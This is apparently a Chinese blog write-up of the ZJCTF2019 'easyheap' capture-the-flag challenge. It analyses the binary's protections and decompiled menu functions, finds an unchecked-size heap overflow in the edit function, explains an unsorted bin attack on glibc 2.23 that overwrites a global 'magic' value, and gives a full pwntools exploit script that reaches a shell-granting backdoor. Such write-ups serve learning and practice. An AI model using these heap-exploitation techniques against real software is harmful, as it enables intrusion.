百航鹿大联训 ZJCTF2019_easyheap

easy在哪我请问了。
这题没给libc.so.6文件,但是知道是ubuntu 16,可以查一下,对应libc2.23。
拿到可执行文件,先checksec一下。

  • Arch可以看到架构,x86,64位,小端序。
  • RELRO表示重定位保护情况。Partial是比较弱的等级,允许覆写GOT表;Full的话就不能改GOT了。
  • Canary found表示启用了栈金丝雀保护,会在栈帧里放随机的Canary值,简单的栈溢出等错改了Canary就会被干掉。
  • NX表示no execute,数据段(栈、堆等)不能执行。不能把shellcode直接放到栈里然后跳过去执行。
  • PIE表示可执行文件地址随机化。这里没开,说明文件的地址是固定的,函数地址等也是固定的,是很大的利好。但是libc/堆/栈等还是会被 ASLR 随机化,如果需要仍需泄漏。
  • Stripped表示是否剥离符号表。这里没有剥离,那么可以直接通过函数名、变量名等看到地址位置,对实操比较友好。

同样是菜单题,但是发现输4869有一个后门函数,可以拿到system。(buu上是个假后门,要用fastbin attack做,以后有机会再补吧)

if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }

要求magic变成一个比较大的数,暂时不知道怎么做,看接下来的函数。

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

和高达那题类似的,创建结构体。没啥特别的。

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  size_t v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

可以修改heap的size和内容。注意到并没有检查修改后size是否超出原size,然而create的时候是比着大小开的。这说明可以做堆溢出。

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

删除堆。这里把free的指针置空了,没有UAF。


2.23没有tcache的事。考虑unsorted bin attack。
创建三个chunk,0号用于做溢出,1号紧跟在0号后面被溢出(要求大小>=0x80,这样才能进入unsorted bin),2号防止和Top chunk合并。
p &magic可以直接查出来magic的地址0x6020c0。这就是NO PIE和no stripped的好处,不用费力做泄漏。
考虑堆溢出把1号chunk的bk改成&magic-0x10。这样重新取出1号chunk时会执行unlink操作,1号chunk的bk会成为一个fake chunk。取出时,会把main_arena的bk指向该fake chunk,而fake chunk的fd指向main_arena
也就是说,把&magic处的值改成了main_arena(为什么不是上一篇提到的bins[0]?版本问题)。这通常是个相当大的数,可以满足此题的要求。但由于写入值不可控,所以不知道实际生活有啥用()
值得注意的是,比较新的libc(2.28以后?)加入了申请chunk时对双向链表的检查,只改一边是不行的,会导致malloc时崩溃。


然后愉快地写代码吧。

from pwn import *
context.log_level="debug"
io=process("./easyheap")
elf=ELF("./easyheap")
def create(size,content):
    io.sendlineafter("Your choice :","1")
    io.sendlineafter("Size of Heap : ",str(size))
    io.sendlineafter("Content of heap:",content)
def edit(index,size,content):
    io.sendlineafter("Your choice :","2")
    io.sendlineafter("Index :",str(index))
    io.sendlineafter("Size of Heap : ",str(size))
    io.sendlineafter("Content of heap : ",content)
def delete(index):
    io.sendlineafter("Your choice :","3")
    io.sendlineafter("Index :",str(index))
def backdoor():
    io.sendlineafter("Your choice :","4869")
magic=0x6020c0 #NO PIE,所以是定值
create(0x10,"A"*4) #大小任意(但要保证能溢出),由于有末尾换行符,所以字符数必须严格小于10,不能取等,以下类似
create(0x90,"B"*4) #必须>=0x80
create(0x90,"C"*4) #大小任意
delete(1)
edit(0,0x31,b"A"*0x10+p64(0)+p64(0xa1)+p64(0xaaaaaa)+p64(magic-0x10))
'''
构造溢出payload,值得讲一下
前面0x10是0号chunk的大小,填满就行了
接下来8字节是prev_size,置0。疑似填什么无所谓?
接下来8字节是size,这个必须填对,不然malloc检查的时候会崩溃。
具体值是0x90(申请的大小)+0x10(header大小)+0x1(PREV_INUSE等标志位)=0xa1。当然也可以直接pwndbg里看。
接下来8位是fd。填什么都无所谓。
接下来8位是bk。-0x10是因为把这个当成了fake chunk的开头,会在fd的位置(+0x10)开始写。
'''
create(0x90,"e"*4)#大小必须和之前的1号一样,保证取出的是unsorted bin里的1号
backdoor()
io.interactive()
posted @ 2025-11-07 00:50  Fan_sheng  阅读(8)  评论(0)    收藏  举报